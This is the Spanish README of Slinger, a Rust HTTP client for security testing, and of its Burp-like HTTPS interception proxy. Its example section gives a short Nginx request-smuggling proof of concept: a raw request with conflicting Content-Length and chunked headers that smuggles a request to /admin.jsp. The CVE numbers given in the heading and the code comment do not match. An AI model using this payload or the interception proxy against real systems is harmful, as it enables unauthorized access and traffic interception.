Acerca del Proyecto

Captura de Pantalla del Nombre del Producto

Slinger es un espacio de trabajo que contiene:

slinger

La biblioteca principal de Cliente HTTP para Rust diseñada para hackers.

Política de redirección personalizable
Proxy http/https y socks5/socks5h
Almacén de cookies
Solicitud de socket raw
HTTPS mediante tls

slinger-mitm

Un proxy Man-in-the-Middle (MITM) con interceptación transparente de tráfico HTTPS, similar a Burp Suite.

Generación automática de certificados CA con gestión de certificados mejorada (inspirado en hudsucker)
Caché de certificados para alto rendimiento
Interceptación HTTPS transparente usando backend rustls
Interfaces de interceptación y modificación de tráfico
Números de serie aleatorios y manejo de desviación de reloj
Reutiliza la implementación de Socket de slinger
Dependencias externas mínimas

(volver al principio)

Comenzando

Usando slinger (Cliente HTTP)

Este ejemplo habilita algunas características opcionales, por lo que tu Cargo.toml podría verse así:

[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

Y luego el código:

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

Usando slinger-mitm (Proxy MITM)

Agrega a tu Cargo.toml:

[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

Código de ejemplo:

use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Agregar interceptor de logging
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

Consulta slinger-mitm/README.md para más detalles sobre el uso del proxy MITM.

Características

Slinger soporta las siguientes características opcionales:

tls - Característica base TLS (habilita tipos e interfaces TLS sin un backend específico)
rustls - Soporte HTTPS usando Rustls (requiere tls, implementación pura en Rust)
http2 - Soporte del protocolo HTTP/2 (requiere un backend TLS)
cookie - Soporte para manejo de cookies
charset - Soporte de codificación de caracteres
serde - Soporte de serialización/deserialización
gzip - Soporte de compresión Gzip
schema - Soporte de JSON Schema

Selección de Backend TLS

Para usar TLS, debes:

Habilitar la característica tls
Elegir el backend rustls, O proporcionar un conector TLS personalizado

Combinaciones de características de ejemplo:

# Usando backend rustls
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Usando backend TLS personalizado (requiere implementar CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

Backend TLS Personalizado (por ejemplo, native-tls, OpenSSL)

Si quieres usar native-tls, OpenSSL u otras bibliotecas TLS, puedes implementar un conector TLS personalizado. Consulta native_tls_example.rs para un ejemplo completo de cómo integrar native-tls.

Ejemplo

Nginx - Contrabando HTTP CVE-2019-20372

use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// cuando usas el proxy de BurpSuite necesitas **deshabilitar** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

Para más ejemplos, consulta el ejemplo

(volver al principio)

Contribuyendo

Las contribuciones son lo que hace que la comunidad de código abierto sea un lugar increíble para aprender, inspirar y crear. Cualquier contribución que hagas es muy apreciada.

Si tienes una sugerencia que pueda mejorar esto, por favor haz un fork del repositorio y crea un pull request. También puedes simplemente abrir un issue con la etiqueta "enhancement". ¡No olvides darle una estrella al proyecto! ¡Gracias de nuevo!